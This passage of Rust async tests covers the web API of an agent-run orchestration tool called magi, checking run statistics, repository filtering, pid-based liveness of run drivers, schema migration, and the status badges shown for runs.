18680        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18681        assert_eq!(keep_agent["solo_entered"], 0);
18682        assert_eq!(keep_agent["solo_adopted"], 0);
18683        assert!(keep_agent["solo_adoption_rate"].is_null());
18684    }
18685
18686    #[tokio::test]
18687    async fn stats_release_bumps_split_clean_from_attention() {
18688        use crate::run::ReleaseBump;
18689
18690        let f = Fixture::start().await;
18691
18692        let mut clean = RunState::new(
18693            PathBuf::from("/repo/magi"),
18694            "main".to_owned(),
18695            "0123456789abcdef".to_owned(),
18696            "task".to_owned(),
18697            Config::default(),
18698        );
18699        clean.id = "20260902-140501-a".to_owned();
18700        clean.status = RunStatus::Merged;
18701        clean.release_bump = Some(ReleaseBump {
18702            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18703            version: Some("1.0.0".to_owned()),
18704            automerge_enabled: true,
18705            merged_directly: false,
18706            local: false,
18707            release: None,
18708            problem: None,
18709            action_required: None,
18710            skipped: None,
18711        });
18712
18713        let mut blocked = RunState::new(
18714            PathBuf::from("/repo/magi"),
18715            "main".to_owned(),
18716            "0123456789abcdef".to_owned(),
18717            "task".to_owned(),
18718            Config::default(),
18719        );
18720        blocked.id = "20260902-140502-b".to_owned();
18721        blocked.status = RunStatus::Merged;
18722        blocked.release_bump = Some(ReleaseBump {
18723            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18724            version: Some("1.0.1".to_owned()),
18725            automerge_enabled: false,
18726            merged_directly: false,
18727            local: false,
18728            release: None,
18729            problem: Some("checks red".to_owned()),
18730            action_required: Some("look at the PR".to_owned()),
18731            skipped: None,
18732        });
18733
18734        for state in [&clean, &blocked] {
18735            let dir = f.runs().join(&state.id);
18736            std::fs::create_dir_all(&dir).expect("run dir");
18737            std::fs::write(
18738                dir.join("run.json"),
18739                serde_json::to_string_pretty(state).expect("serialize run"),
18740            )
18741            .expect("write run.json");
18742        }
18743
18744        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18745        assert_eq!(bumps["merged"], 2);
18746        assert_eq!(bumps["recorded"], 2);
18747        assert_eq!(bumps["pr_opened"], 2);
18748        assert_eq!(bumps["automerge_enabled"], 1);
18749        assert_eq!(bumps["needs_attention"], 1);
18750        assert_eq!(bumps["clean"], 1);
18751        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18752        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18753    }
18754
18755    #[tokio::test]
18756    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18757        let f = Fixture::start().await;
18758        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18759
18760        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18761        assert_eq!(bumps["merged"], 1);
18762        assert_eq!(bumps["recorded"], 0);
18763        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18764        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18765        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18766        // `pr_opened` and `recorded` are both zero here, so these rates have
18767        // no denominator to compute from and must be null.
18768        assert_eq!(bumps["automerge_rate"], Value::Null);
18769        assert_eq!(bumps["attention_rate"], Value::Null);
18770    }
18771
18772    #[tokio::test]
18773    async fn stats_queue_counts_come_from_the_live_queue() {
18774        let f = Fixture::start().await;
18775        let q = f.queue();
18776        let mut queued = Task::new(
18777            "queued task".to_owned(),
18778            "do it".to_owned(),
18779            PathBuf::from("/repo"),
18780            Source::Human,
18781        );
18782        q.put(&mut queued).expect("put queued");
18783        let mut held = Task::new(
18784            "held task".to_owned(),
18785            "do it later".to_owned(),
18786            PathBuf::from("/repo"),
18787            Source::Human,
18788        );
18789        held.hold_machine(Some("out of attempts".to_owned()));
18790        q.put(&mut held).expect("put held");
18791
18792        let queue = f.get("/api/stats").await.json()["queue"].clone();
18793        assert_eq!(queue["queued"], 1);
18794        assert_eq!(queue["held"], 1);
18795        assert_eq!(queue["running"], 0);
18796        assert_eq!(queue["done"], 0);
18797        assert_eq!(queue["failed"], 0);
18798        assert_eq!(queue["blocked"], 0);
18799    }
18800
18801    #[tokio::test]
18802    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18803        let f = Fixture::start().await;
18804        let stats = f.get("/api/stats").await;
18805        assert_eq!(stats.status, 200);
18806        assert_eq!(stats.json()["totals"]["runs"], 0);
18807        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18808        assert_eq!(stats.json()["runs_unreadable"], 0);
18809        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18810        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18811        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18812        assert_eq!(stats.json()["repo"], Value::Null);
18813    }
18814
18815    #[tokio::test]
18816    async fn stats_lists_every_repository_with_runs_recorded() {
18817        let f = Fixture::start().await;
18818        write_run_repo(
18819            &f.runs(),
18820            "20260902-140501-a",
18821            RunStatus::Merged,
18822            "/repos/a",
18823        );
18824        write_run_repo(
18825            &f.runs(),
18826            "20260902-140502-b",
18827            RunStatus::Merged,
18828            "/repos/a",
18829        );
18830        write_run_repo(
18831            &f.runs(),
18832            "20260902-140503-c",
18833            RunStatus::Blocked,
18834            "/repos/b",
18835        );
18836
18837        let stats = f.get("/api/stats").await;
18838        assert_eq!(stats.status, 200);
18839        // Unfiltered - the aggregate across both repositories.
18840        assert_eq!(stats.json()["totals"]["runs"], 3);
18841        assert_eq!(stats.json()["repo"], Value::Null);
18842
18843        let repos = stats.json()["repos"].clone();
18844        let repos = repos.as_array().unwrap();
18845        assert_eq!(repos.len(), 2);
18846        // Busiest (2 runs) first.
18847        assert_eq!(repos[0]["repo"], "/repos/a");
18848        assert_eq!(repos[0]["name"], "a");
18849        assert_eq!(repos[0]["runs"], 2);
18850        assert_eq!(repos[1]["repo"], "/repos/b");
18851        assert_eq!(repos[1]["runs"], 1);
18852    }
18853
18854    #[tokio::test]
18855    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18856        let f = Fixture::start().await;
18857        write_run_repo(
18858            &f.runs(),
18859            "20260902-140501-a",
18860            RunStatus::Merged,
18861            "/repos/a",
18862        );
18863        write_run_repo(
18864            &f.runs(),
18865            "20260902-140502-b",
18866            RunStatus::Blocked,
18867            "/repos/b",
18868        );
18869
18870        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18871        assert_eq!(stats.status, 200);
18872        assert_eq!(stats.json()["totals"]["runs"], 1);
18873        assert_eq!(stats.json()["totals"]["merged"], 1);
18874        assert_eq!(stats.json()["repo"], "/repos/a");
18875        // The repository list itself is unaffected by the filter - it is
18876        // what a client switches repositories from.
18877        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18878        // runs_unreadable is a whole-workload count, never scoped to the
18879        // selected repository - see StatsView::runs_unreadable's own doc.
18880        assert_eq!(stats.json()["runs_unreadable"], 0);
18881    }
18882
18883    #[tokio::test]
18884    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18885        let f = Fixture::start().await;
18886        write_run_repo(
18887            &f.runs(),
18888            "20260902-140501-a",
18889            RunStatus::Merged,
18890            "/repos/a",
18891        );
18892        write_run_repo(
18893            &f.runs(),
18894            "20260902-140502-b",
18895            RunStatus::Merged,
18896            "/repos/b",
18897        );
18898
18899        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18900            let json = f.get(uri).await.json();
18901            let daily = json["daily"].as_array().expect("daily is an array");
18902            assert_eq!(daily.len(), 30);
18903            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18904            let mut sorted = dates.clone();
18905            sorted.sort();
18906            assert_eq!(dates, sorted);
18907            for d in daily {
18908                assert_eq!(
18909                    d["merged"].as_u64().unwrap()
18910                        + d["ready"].as_u64().unwrap()
18911                        + d["other"].as_u64().unwrap(),
18912                    d["runs"].as_u64().unwrap()
18913                );
18914            }
18915            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18916        }
18917    }
18918
18919    #[tokio::test]
18920    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18921        let f = Fixture::start().await;
18922        write_run_repo(
18923            &f.runs(),
18924            "20260902-140501-a",
18925            RunStatus::Merged,
18926            "/repos/a",
18927        );
18928
18929        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18930        assert_eq!(stats.status, 404);
18931    }
18932
18933    #[tokio::test]
18934    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18935        let f = Fixture::start().await;
18936        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18937
18938        let summary = f.get("/api/runs").await.json();
18939        let row = &summary[0];
18940        assert_eq!(row["short"], "a1b2");
18941        assert_eq!(row["status"], "ready");
18942        assert_eq!(row["done"], true);
18943        assert_eq!(row["title"], "Add a web UI");
18944        assert_eq!(row["repo_name"], "magi");
18945        assert_eq!(row["judges"], 3);
18946        assert_eq!(row["winner"], Value::Null);
18947        assert_eq!(row["reviews"], 0);
18948
18949        // The short id resolves, and the detail route is the state itself, not
18950        // a projection of it: the UI reads fields the summary does not carry.
18951        let detail = f.get("/api/runs/a1b2").await;
18952        assert_eq!(detail.status, 200);
18953        assert_eq!(detail.json()["base_branch"], "main");
18954        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18955    }
18956
18957    /// `status: "ready"` alone cannot tell a run still headed for a landing
18958    /// (a PR closed without merging, say) apart from one `[merge] mode =
18959    /// "none"` left unmerged for good — the confusion the operator flagged
18960    /// after the CLI report already grew a `not landed — nothing to do by
18961    /// design` line for exactly this case (`report.rs`). Both the list route
18962    /// and the detail route must carry a flag the phone can key on instead of
18963    /// re-deriving it from `status` + `merge.mode` itself.
18964    #[tokio::test]
18965    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18966        let f = Fixture::start().await;
18967
18968        let mut none_run = RunState::new(
18969            PathBuf::from("/repo/magi"),
18970            "main".to_owned(),
18971            "0123456789abcdef".to_owned(),
18972            "Add a web UI".to_owned(),
18973            Config::default(),
18974        );
18975        none_run.id = "20260902-140503-none".to_owned();
18976        none_run.status = RunStatus::Ready;
18977        none_run.merge = Some(crate::run::MergeOutcome {
18978            mode: crate::config::MergeMode::None,
18979            ok: true,
18980            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18981            empty: false,
18982        });
18983        write_state(&f.runs(), &none_run);
18984
18985        let mut pr_run = RunState::new(
18986            PathBuf::from("/repo/magi"),
18987            "main".to_owned(),
18988            "0123456789abcdef".to_owned(),
18989            "Add a web UI".to_owned(),
18990            Config::default(),
18991        );
18992        pr_run.id = "20260902-140504-prcl".to_owned();
18993        pr_run.status = RunStatus::Ready;
18994        pr_run.merge = Some(crate::run::MergeOutcome {
18995            mode: crate::config::MergeMode::Pr,
18996            ok: false,
18997            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18998            empty: false,
18999        });
19000        write_state(&f.runs(), &pr_run);
19001
19002        let summary = f.get("/api/runs").await.json();
19003        let rows: std::collections::HashMap<&str, &Value> = summary
19004            .as_array()
19005            .expect("an array")
19006            .iter()
19007            .map(|r| (r["id"].as_str().expect("an id"), r))
19008            .collect();
19009        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19010        assert_eq!(
19011            rows[none_run.id.as_str()]["unmerged_by_design"],
19012            true,
19013            "a mode-none Ready must be flagged in the list"
19014        );
19015        assert_eq!(
19016            rows[pr_run.id.as_str()]["unmerged_by_design"],
19017            false,
19018            "a Ready reached by a closed pull request is a different case"
19019        );
19020
19021        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19022        assert_eq!(none_detail["status"], "ready");
19023        assert_eq!(none_detail["unmerged_by_design"], true);
19024
19025        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19026        assert_eq!(pr_detail["unmerged_by_design"], false);
19027    }
19028
19029    /// `RunState::active` is only ever cleared by whoever populated it, so the
19030    /// detail route also has to say whether a daemon is actually still
19031    /// driving this run right now — otherwise a seat from a killed process's
19032    /// last wave would read as live forever.
19033    #[tokio::test]
19034    async fn run_core_survives_unavailable_related_stores() {
19035        let home = TempDir::new().unwrap();
19036        let ui = delta_test_ui(home.path());
19037        let state = RunState::new(
19038            PathBuf::from("/repo/magi"),
19039            "main".into(),
19040            "0123456789abcdef".into(),
19041            "Useful core instructions".into(),
19042            Config::default(),
19043        );
19044        let dir = ui.runs.join(&state.id);
19045        std::fs::create_dir_all(&dir).unwrap();
19046        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19047        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19048        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19049        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19050            .await
19051            .unwrap()
19052            .0;
19053        assert_eq!(core.state.instruction, state.instruction);
19054        assert_eq!(core.state.updated_at, state.updated_at);
19055        assert!(core.task.is_none());
19056        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19057    }
19058
19059    #[tokio::test]
19060    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19061        let f = Fixture::start().await;
19062        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19063        // half of this test can claim the daemon is working on it without a
19064        // second helper.
19065        let id = "20260902-140502-bbbb";
19066        let mut state = RunState::new(
19067            PathBuf::from("/repo/magi"),
19068            "main".to_owned(),
19069            "0123456789abcdef".to_owned(),
19070            "Add a web UI".to_owned(),
19071            Config::default(),
19072        );
19073        state.id = id.to_owned();
19074        state.status = RunStatus::Judging;
19075        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19076        let dir = f.runs().join(id);
19077        std::fs::create_dir_all(&dir).expect("run dir");
19078        std::fs::write(
19079            dir.join("run.json"),
19080            serde_json::to_string_pretty(&state).expect("serialize run"),
19081        )
19082        .expect("write run.json");
19083
19084        // No daemon.json at all, and no `driver_pid` recorded either (this
19085        // state was written directly, never through `execute()`): there is
19086        // nothing to confirm either way, so the route must say `"unknown"` —
19087        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19088        // run` used to get from this route before `driver_pid` existed.
19089        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19090        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19091        assert_eq!(cold["live"], "unknown", "{cold}");
19092
19093        // A fresh heartbeat naming exactly this run: the same entry now reads
19094        // as confirmed, not merely recorded.
19095        write_daemon(f.home.path(), Timestamp::now());
19096        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19097        assert_eq!(warm["live"], "live", "{warm}");
19098    }
19099
19100    #[test]
19101    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19102        let home = tempfile::tempdir().expect("temp home");
19103        let runs = home.path().join("runs");
19104        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19105            let mut state = RunState::new(
19106                PathBuf::from("/repo/magi"),
19107                "main".to_owned(),
19108                "0123456789abcdef".to_owned(),
19109                "Generated review context, not authored task criteria".to_owned(),
19110                Config::default(),
19111            );
19112            state.origin = origin;
19113            state.status = RunStatus::Blocked;
19114            // Earlier migrations must not infer these facts again.
19115            state.driver_exited = false;
19116            state.gate_ran = true;
19117            let expected = serde_json::to_value(&state).expect("serialize current state");
19118            let mut legacy = expected.clone();
19119            legacy["schema"] = serde_json::json!(13);
19120            legacy.as_object_mut().unwrap().remove("task_instruction");
19121            let dir = runs.join(&state.id);
19122            std::fs::create_dir_all(&dir).expect("run dir");
19123            let path = dir.join("run.json");
19124            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19125            std::fs::write(&path, &body).expect("write legacy run");
19126
19127            for loaded in [
19128                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19129                read_run(&runs, &state.id).expect("web migration"),
19130            ] {
19131                assert_eq!(loaded.schema, crate::run::SCHEMA);
19132                assert!(loaded.task_instruction.is_none());
19133                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19134            }
19135            assert_eq!(runs_unreadable(&runs), 0);
19136            assert_eq!(std::fs::read(&path).unwrap(), body);
19137        }
19138    }
19139
19140    /// Where a run came from is shown, and a run written before origins were
19141    /// recorded (schema 12, no `origin` key) stays readable and says so.
19142    #[tokio::test]
19143    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19144        let f = Fixture::start().await;
19145        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19146            let mut state = RunState::new(
19147                PathBuf::from("/repo/magi"),
19148                "main".to_owned(),
19149                "0123456789abcdef".to_owned(),
19150                "Add a web UI".to_owned(),
19151                Config::default(),
19152            );
19153            state.id = id.to_owned();
19154            state.origin = origin;
19155            let mut value = serde_json::to_value(&state).expect("serialize run");
19156            if let Some(schema) = schema {
19157                value["schema"] = serde_json::json!(schema);
19158                value.as_object_mut().unwrap().remove("origin");
19159            }
19160            let dir = f.runs().join(id);
19161            std::fs::create_dir_all(&dir).expect("run dir");
19162            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19163        };
19164        write(
19165            "20260930-092817-ec34",
19166            Some(crate::run::Origin::from_agent_env(
19167                Some(("4a7b".to_owned(), "chat".to_owned())),
19168                None,
19169            )),
19170            None,
19171        );
19172        write("20260930-092817-0ld1", None, Some(12));
19173
19174        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19175        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19176        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19177
19178        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19179        assert_eq!(
19180            old["origin_label"], "origin unknown (started before origins were recorded)",
19181            "{old}"
19182        );
19183        assert!(old["origin"].is_null(), "{old}");
19184
19185        let list = f.get("/api/runs").await.json();
19186        let labels: Vec<_> = list
19187            .as_array()
19188            .unwrap()
19189            .iter()
19190            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19191            .collect();
19192        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19193    }
19194
19195    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
19196    /// review` claims no daemon at all, so before this field existed the
19197    /// route above read it as `"dead"` — indistinguishable from a run a
19198    /// killed process abandoned — the whole time it was genuinely still
19199    /// answering. With a live pid recorded, it must read `"live"` even
19200    /// though no daemon claims it.
19201    #[tokio::test]
19202    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19203        let f = Fixture::start().await;
19204        let id = "20260922-090000-cccc";
19205        let mut state = RunState::new(
19206            PathBuf::from("/repo/magi"),
19207            "main".to_owned(),
19208            "0123456789abcdef".to_owned(),
19209            "Review only".to_owned(),
19210            Config::default(),
19211        );
19212        state.id = id.to_owned();
19213        state.status = RunStatus::Reviewing;
19214        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19215        // This test process's own pid: guaranteed alive, and never needs a
19216        // real daemon or a second process to prove it. The matching start-time
19217        // marker is what `liveness` now requires alongside a live pid — see
19218        // `RunState::driver_started_at`'s own doc for why the pid alone is
19219        // not enough.
19220        state.driver_pid = Some(std::process::id());
19221        state.driver_started_at = Some(
19222            crate::proc::process_started_at(std::process::id())
19223                .expect("this test process's own start time must be queryable"),
19224        );
19225        let dir = f.runs().join(id);
19226        std::fs::create_dir_all(&dir).expect("run dir");
19227        std::fs::write(
19228            dir.join("run.json"),
19229            serde_json::to_string_pretty(&state).expect("serialize run"),
19230        )
19231        .expect("write run.json");
19232
19233        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19234        assert_eq!(detail["live"], "live", "{detail}");
19235    }
19236
19237    /// A killed manual run's pid can be handed to a wholly unrelated later
19238    /// process — a live query on `driver_pid` alone would read this as
19239    /// `"live"`, exactly the false positive `driver_started_at` exists to
19240    /// catch (see that field's own doc, and `RunState::liveness_with`'s
19241    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
19242    #[tokio::test]
19243    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19244        let f = Fixture::start().await;
19245        let id = "20260922-090100-dddd";
19246        let mut state = RunState::new(
19247            PathBuf::from("/repo/magi"),
19248            "main".to_owned(),
19249            "0123456789abcdef".to_owned(),
19250            "Review only".to_owned(),
19251            Config::default(),
19252        );
19253        state.id = id.to_owned();
19254        state.status = RunStatus::Reviewing;
19255        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19256        // This test process's own pid really is alive, but the marker
19257        // recorded here does not match what it actually started at —
19258        // standing in for the pid having since been reused by a different
19259        // process than the one that wrote `run.json`.
19260        state.driver_pid = Some(std::process::id());
19261        state.driver_started_at = Some("1".to_owned());
19262        let dir = f.runs().join(id);
19263        std::fs::create_dir_all(&dir).expect("run dir");
19264        std::fs::write(
19265            dir.join("run.json"),
19266            serde_json::to_string_pretty(&state).expect("serialize run"),
19267        )
19268        .expect("write run.json");
19269
19270        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19271        assert_eq!(detail["live"], "dead", "{detail}");
19272    }
19273
19274    /// The deck's competition list is normally the first place an operator
19275    /// sees an old run. It must carry the same process verdict as detail, or
19276    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
19277    #[test]
19278    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19279        let mk = |id: &str, pid: Option<u32>| {
19280            let mut s = RunState::new(
19281                PathBuf::from("/repo/magi"),
19282                "main".to_owned(),
19283                "0123456789abcdef".to_owned(),
19284                "Add a web UI".to_owned(),
19285                Config::default(),
19286            );
19287            s.id = id.to_owned();
19288            s.driver_pid = pid;
19289            s.driver_started_at = Some("1790000000".to_owned());
19290            s
19291        };
19292        let states = vec![
19293            mk("20260902-140502-aaaa", Some(77)),
19294            mk("20260902-140502-bbbb", Some(77)),
19295            mk("20260902-140502-cccc", Some(77)),
19296            mk("20260902-140502-dddd", None),
19297        ];
19298        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19299        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19300        let sup: HashMap<String, String> = [(
19301            "20260902-140502-aaaa".to_owned(),
19302            "20260902-140502-cccc".to_owned(),
19303        )]
19304        .into();
19305
19306        let status_calls = std::cell::Cell::new(0);
19307        let identity_calls = std::cell::Cell::new(0);
19308        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19309            |_| {
19310                status_calls.set(status_calls.get() + 1);
19311                Some(true)
19312            },
19313            |_| {
19314                identity_calls.set(identity_calls.get() + 1);
19315                Some("1790000000".to_owned())
19316            },
19317        ));
19318        let rows = summarize(
19319            states,
19320            &open,
19321            &claimed,
19322            &sup,
19323            |p| probe.borrow_mut().status(p),
19324            |p| probe.borrow_mut().started_at(p),
19325        );
19326
19327        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19328        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19329        assert_eq!(rows.len(), 4);
19330        assert!(!rows[0].waiting && rows[1].waiting);
19331        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19332        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19333        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19334        assert_eq!(rows[1].superseded_by, None);
19335    }
19336
19337    #[test]
19338    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19339        let mut state = RunState::new(
19340            PathBuf::from("/repo/magi"),
19341            "main".to_owned(),
19342            "0123456789abcdef".to_owned(),
19343            "Review only".to_owned(),
19344            Config::default(),
19345        );
19346        state.id = "20260922-090200-dead".to_owned();
19347        state.status = RunStatus::Reviewing;
19348        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19349            .expect("serialize list row");
19350        assert_eq!(row["status"], "reviewing");
19351        assert_eq!(row["display_status"], "stale");
19352        assert_eq!(row["live"], "dead", "{row}");
19353        assert!(!row["done"].as_bool().unwrap());
19354    }
19355
19356    #[test]
19357    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19358        use crate::run::Liveness::{Dead, Live, Unknown};
19359        let mut state = RunState::new(
19360            PathBuf::from("/repo/magi"),
19361            "main".to_owned(),
19362            "abc".to_owned(),
19363            "Review only".to_owned(),
19364            Config::default(),
19365        );
19366        for (status, parked, node, waiting, live, expected) in [
19367            (
19368                RunStatus::Judging,
19369                true,
19370                "github-text",
19371                false,
19372                Dead,
19373                "parked",
19374            ),
19375            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19376            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19377            (
19378                RunStatus::Judging,
19379                true,
19380                "github-text",
19381                true,
19382                Dead,
19383                "waiting",
19384            ),
19385            (
19386                RunStatus::Judging,
19387                false,
19388                "github-text",
19389                true,
19390                Dead,
19391                "waiting",
19392            ),
19393            (
19394                RunStatus::Judging,
19395                false,
19396                "github-text",
19397                false,
19398                Dead,
19399                "stale",
19400            ),
19401            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19402            (RunStatus::Judging, true, "park", false, Live, "judging"),
19403            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19404            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19405            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19406            (
19407                RunStatus::Blocked,
19408                true,
19409                "github-text",
19410                true,
19411                Dead,
19412                "waiting",
19413            ),
19414        ] {
19415            state.status = status;
19416            state.parked = parked;
19417            state.events.clear();
19418            state.event(
19419                "park",
19420                "an earlier park does not determine the latest state",
19421            );
19422            state.event(node, "message is not used for classification");
19423            let summary = RunSummary::of(&state, waiting, live);
19424            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19425            assert_eq!(
19426                summary.display_status, expected,
19427                "{status:?}/{node}/{live:?}"
19428            );
19429            assert_eq!(detail.display_status, summary.display_status);
19430            assert_eq!(detail.waiting, summary.waiting);
19431        }
19432        state.status = RunStatus::Judging;
19433        state.parked = false;
19434        state.events.clear();
19435        assert_eq!(run_display_status(&state, false, Dead), "stale");
19436    }
19437
19438    #[test]
19439    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19440        use crate::run::Liveness::{Dead, Live, Unknown};
19441        let mut state = RunState::new(
19442            PathBuf::from("/repo/magi"),
19443            "main".to_owned(),
19444            "abc".to_owned(),
19445            "Badge".to_owned(),
19446            Config::default(),
19447        );
19448        for (status, waiting, live, superseded, expected) in [
19449            (RunStatus::Gating, false, Dead, false, "stale"),
19450            (RunStatus::Gating, false, Dead, true, "superseded"),
19451            (RunStatus::Gating, false, Unknown, true, "superseded"),
19452            (RunStatus::Gating, true, Dead, true, "superseded"),
19453            (RunStatus::Gating, true, Dead, false, "waiting"),
19454            (RunStatus::Gating, false, Unknown, false, "gating"),
19455            (RunStatus::Gating, false, Live, true, "gating"),
19456            (RunStatus::Gating, true, Live, true, "waiting"),
19457            (RunStatus::Merged, false, Dead, true, "merged"),
19458            (RunStatus::Blocked, false, Dead, true, "blocked"),
19459        ] {
19460            state.status = status;
19461            let display = run_display_status(&state, waiting, live);
19462            assert_eq!(
19463                run_badge_status(&state, &display, live, superseded),
19464                expected,
19465                "{status:?}/{live:?}/superseded={superseded}"
19466            );
19467        }
19468    }
19469
19470    #[test]
19471    fn summarize_and_detail_expose_badge_status() {
19472        use crate::run::Liveness::Dead;
19473        let mut state = RunState::new(
19474            PathBuf::from("/repo/magi"),
19475            "main".to_owned(),
19476            "abc".to_owned(),
19477            "Badge".to_owned(),
19478            Config::default(),
19479        );
19480        state.status = RunStatus::Gating;
19481        let none = HashSet::new();
19482        let id = state.id.clone();
19483        let mut by = HashMap::new();
19484        let rows = summarize(
19485            [state.clone()],
19486            &none,
19487            &none,
19488            &by,
19489            |_| Some(false),
19490            |_| None,
19491        );
19492        // No driver recorded: liveness is not provably dead, so the node stays.
19493        assert_eq!(rows[0].badge_status, rows[0].display_status);
19494        by.insert(id, "20260901-000000-913b".to_owned());
19495        let detail = RunDetailView::of(
19496            state.clone(),
19497            false,
19498            Dead,
19499            Some("913b".to_owned()),
19500            None,
19501            None,
19502        );
19503        assert_eq!(detail.badge_status, "superseded");
19504        let json = serde_json::to_value(&detail).unwrap();
19505        assert_eq!(json["badge_status"], "superseded");
19506        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19507        assert_eq!(detail.badge_status, "stale");
19508    }
19509
19510    #[tokio::test]
19511    async fn run_display_status_routes_share_the_open_question_store() {
19512        let f = Fixture::start().await;
19513        let id = "20260922-090200-abcd";
19514        write_run(&f.runs(), id, RunStatus::Judging);
19515        let mut state = read_run(&f.runs(), id).unwrap();
19516        state.parked = true;
19517        state.driver_exited = true;
19518        state.event("github-text", "waiting for the owner");
19519        state.save_under(f.home.path()).unwrap();
19520        let mut task = Task::new(
19521            "resumed task".to_owned(),
19522            "do it".to_owned(),
19523            PathBuf::from("/repo"),
19524            Source::Human,
19525        );
19526        task.runs = vec![id.to_owned(), id.to_owned()];
19527        f.queue().put(&mut task).unwrap();
19528        let store = f.questions();
19529        let mut q = Question::new(
19530            id.to_owned(),
19531            "github-text".to_owned(),
19532            "owner".to_owned(),
19533            "Approve the text?".to_owned(),
19534            String::new(),
19535            Vec::new(),
19536        );
19537        store.put(&mut q).unwrap();
19538        for expected in ["waiting", "parked"] {
19539            let list = f.get("/api/runs").await.json();
19540            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19541            assert_eq!(list[0]["display_status"], expected);
19542            assert_eq!(detail["display_status"], expected);
19543            assert_eq!(detail["waiting"], list[0]["waiting"]);
19544            assert_eq!(list[0]["badge_status"], expected);
19545            assert_eq!(detail["badge_status"], expected);
19546            assert!(list[0]["superseded_by"].is_null());
